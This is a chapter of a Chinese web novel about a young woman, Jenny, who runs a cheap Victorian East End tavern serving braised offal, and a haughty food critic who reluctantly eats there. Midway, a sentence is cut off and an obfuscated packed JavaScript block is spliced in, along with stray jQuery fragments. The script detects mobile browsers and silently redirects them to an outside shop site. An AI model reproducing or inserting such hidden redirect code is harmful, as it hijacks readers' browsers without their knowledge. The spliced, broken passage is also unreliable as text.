白教堂高街虽然是主干道,但这里的核心顾客依然是码头工人、屠宰场学徒、制鞋匠和爱尔兰移民,这些普通人。
珍妮考虑到百姓们吃得起,依旧是给酒馆独家的卤汁食物们,定了一个童叟无欺的一碗2便士的价格。
也因酒馆卖酒,美食是让客人们愿意来的地方,吃饱后,能让他们大多因回味而赖着不走,这时就是酒水的利润不断涌出,也是和摆摊时最大的不同。
只要2便士的卤香牛杂、卤大骨、卤猪皮,整个伦敦只此一家,除了便宜和只有珍妮能做得出的绝妙味道之外,它们还有三大吸引客人的好处!
第一是像卤汁猪皮因富含脂肪,不仅能提供极强的饱腹感,还能提供热量来抵御严寒,二是即食,客人没上门前,就预先做好了,放着也不会坏,客人一张手,就是可享用的熟食。
第三呢,则是作为酒馆的招牌菜之一的关键,卤汁牛杂、猪皮经过重口味的香料炖煮或卤制,口感自然是咸香浓郁极了,简直完美的下酒菜。
珍妮下午给酒馆开了门,就在酒馆门外,小巷里放了一块用粗木框裱起来的黑板,写上热卤大骨——2便士、卤香牛杂——2便士等,还有其它珍妮从来到伦敦一直以来的拿手绝学,加酒水价位。
这时不要把字写的太小,伦敦东区有很多人不识字的。
她不仅把字写得手掌那么大,还在如卤香牛杂的旁边,画了一个小牛头,表示这是跟牛有关的。
酒香也怕巷子深,珍妮没有止步如此,反正也是要做饭的。
她呢,就在吧台这边的角落里,架起一个大炭炉,坐着一个巨大、滚烫的铸铁锅,里面正咕嘟咕嘟出热气,卤汁的咸香和五香味飘满整个屋子,向着巷子里,巷子外飘去。
白教堂高街上,不时有马车和行人经过,正是下午,多是快到了晚饭的饭点,饿着肚子,味就这么随风飘来,一嗅,咕噜咕噜,肚子叫更响了。
那香味难以辨认,路人纷纷嗅闻之,无果,口水直流千尺。By珍妮。
珍妮还在酒馆里搅着锅,就见平时不认得的客人们,从大门口朝她这里张望着,还聚集了不少人,互相不认识,似都是因为这股神秘的香味,引来的。
“先生们,小姐们,要来麦花酒馆吃顿饭吗?你们来的正是时候,刚出锅呢,只要2便士!”珍妮弯眼而笑,说着,一旁,里昂和黛西,正吃着香呢,油腻的卤汁涂了满嘴,满脸满足。
几人面面相觑,随即同好般都进了珍妮的小酒馆里,搓着手,吐着白气,那香味是比巷子里浓的,引得他们都忍耐不住,都坐下,都要了一碗。
卤汁是不需要重新做的,复用好多天,珍妮只需揭开陶瓮的盖子,取些表面那层白色的牛油封层完好的卤汁,用大勺舀进铁锅,生火就行了,她最多尝尝味道,怕是盐分少了,就再点水和一小撮粗盐足矣。
而且因为卤汁用过了,包含了之前的肉汁精华,所以放入的新牛杂只需炖煮1小时左右,风味就十分的香了。
客人们不用坐等,珍妮早捞出了不少卤味,里昂和黛西一大碗一大碗地端去了桌上,在这个伦敦的冬天里,铁锅还就在边上,卤味的热气混着铁锅的蒸汽,烘得这些人满脸油光,胳膊腿都松弛了。
冷风一刮,也飘去了一个走在高街上的男人鼻前,此人打扮显眼包,戴着一顶擦得锃亮的高顶礼帽,身穿一件剪裁体面的深色羊毛双排扣大衣。
他叫阿尔弗雷德,《伦敦画报》与几家挑剔的美食专栏的常客,刚刚从白教堂高街上那家新开的号称“纯正法式风味”的餐厅里出来。
他嘴里,还残留着昂贵却寡淡的白汁小牛肉的味道。
在阿尔弗雷德看来,那主厨除了收账动作利索,对火候的掌控简直是灾难。
要不是因为实在没什么可品尝的了,加上阿尔弗雷德因为在西区得罪了人,又怎么会沦落到如此的地方?
东区?呃!这地方,简直就是对美食的亵渎!
正当他掏出丝绸手帕,嫌恶地擦了擦嘴边时,一阵风裹挟着热气,猛地撞上了他的鼻腔。
“……嗯?”阿尔弗雷德的脚步硬生生顿住了。
那是一种他从未闻过的味道。作为一名自诩尝遍英国美食的评论家,他的大脑,在瞬间飞速检索着美食库,不是英式传统的肉汁烤肉,也没有法式黄油的醇厚,嗯……它极其复杂,带着一种醇厚的咸香,隐约能分辨出某种,某种……
对了,丁香!嗯?丁香?这不是药材嘛。
顺着这股勾人魂魄的香味,他的视线落在了那条略显阴暗的狭窄巷子里。
一块粗糙的黑板,立在一家名为“麦花”的破旧酒馆门前,上面用粉笔歪歪扭扭地写着字,甚至还画了一个圆滚滚的牛头。
“热卤大骨……卤香牛杂?2便士?”阿尔弗雷德眉头紧锁,眼中闪过一丝嫌恶。
牛杂?在这个时代谁会吃这种连救济院都不吃的东西?!
可偏偏,那股香味就是从里面飘出来的。
他走到酒馆窗前,挑剔地顺着颇为崭新的玻璃往里看去。酒馆里已经坐了几个粗鲁的汉子,正吸溜着鼻涕,毫无吃相地大嚼着碗里的东西。
他不由也吞咽了一下。
“真是不成体统……不过,这味道到底是怎么回事?”
强烈的职业好奇心,或者说,是一个老饕对未知美味的终极渴望,最终战胜了他的阶级傲慢和对东区的鄙夷。
阿尔弗雷德深吸了一口气,用手帕捂了捂鼻子,主要是不想再闻到东区苦工满身的汗味,极不情愿地推开了麦花酒馆那扇吱呀作响的木门。
风铃清脆地响了一声,酒馆里热气扑面而来。
阿尔弗雷德站在门口,浑身紧绷,居高临下地打量着柜台后那个正忙碌着的年轻姑娘,也就是珍妮,想她应该就是这里的掌柜,心下觉得这么年轻,靠谱吗?
就此一家,阿尔弗雷德要不是实
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17668832|205947||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
在饿坏了,而且最主要的原因是,要不是他得罪了西区的大人物,导致如今口袋寒酸,只剩2便士,也不会沦落到挤进一个隐在城堡巷的酒馆里。
他已经做好了捏着鼻子,咽下东区垃圾食物,玷污自己高贵舌头的打算,此举对他而言,如同牺牲一般地开口:“女掌柜,这东西,也给我来一份。”
外面正冷着,只听珍妮应了一声,阿尔弗雷德就找了个靠窗桌子,坐下,不失从西区来的高傲地,用手指在桌子上摸了一下。
桌子上还算干净,但粗糙的表面实在让他提不起兴趣。于是,他又想起了,之前在东区压抑已久的愤懑与委屈。
三天前,在西区梅费尔俱乐部里。
彼时,他正对着一盘,由顶级松露和苏格兰斯佩河空运鲑鱼,制成的法式冻肉发表高见。
他傲慢地宣称:“只有流淌着高贵血统的食材,辅以最昂贵的香料,方能诞生出配得上文明绅士的美味。至于那些低贱的食材和粗粮,不过是底层牲口用来果腹的燃料罢了。”
不幸的是,这番高论,恰好落在了坐在角落的沙夫茨伯里伯爵耳中。
这位在当时,是伦敦最著名的慈善家、工人阶级利益的捍卫者,当场放下了刀叉,脸色阴沉如铁。
“阿尔弗雷德先生,”伯爵的声音,在安静的俱乐部里清晰可闻,“当成千上万的伦敦子民在为一日三餐挣扎时,你对食物的傲慢不仅是对烹饪的误解,更是对人性的亵渎。真正的美味,从不取决于它的标价。”
伯爵的一句话,让这位自诩“挑剔的美食家”瞬间成了西区社交圈的边缘人。
专栏被撤、请柬被退,甚至连银行的经理都对他露出了势利的冷笑。
甚至一向对他友好和赞同的主编先生,也委婉说一句:“也许,美食的定义会更宽广一些,不如多一些尝试和开拓开拓眼界,如何?”
“我有什么错?”阿尔弗雷德咬着牙,盯着自己仅剩两枚便士的口袋。
此刻坐在这个东区的小酒馆里,他忿忿不平地说:“便宜的食材之所以便宜,难道不正如所言的口味廉价吗?何况,好啊,我尝试了,高街有名的餐馆,我都尝过了,结果呢?”
他一想到在白教堂高街的种种经历,就想笑。笑西区那些造成他如此局面的人,笑那食物简直不可理喻。
哪怕是西区最平价的餐馆,也不至于会将芜菁煮的如此乏味毫无口感。
昂贵才能带来极致,这是不可动摇的真理!
难道要他,去赞美白教堂区街头那些用腐烂马铃薯和廉价猪肉做成的肉饼吗?
越想越气,阿尔弗雷德也不指望这个小酒馆,能够让他有所期待。
正当他的自尊心在狭窄的酒馆里疯狂挣扎时,一阵浓烈到几乎化为实质的香气,陡然间破开了酒精与汗水味,霸道地将他整个人包裹了起来。
“先生,您的热卤牛杂,请趁热吃。”珍妮的清脆声,打断了他的怨念。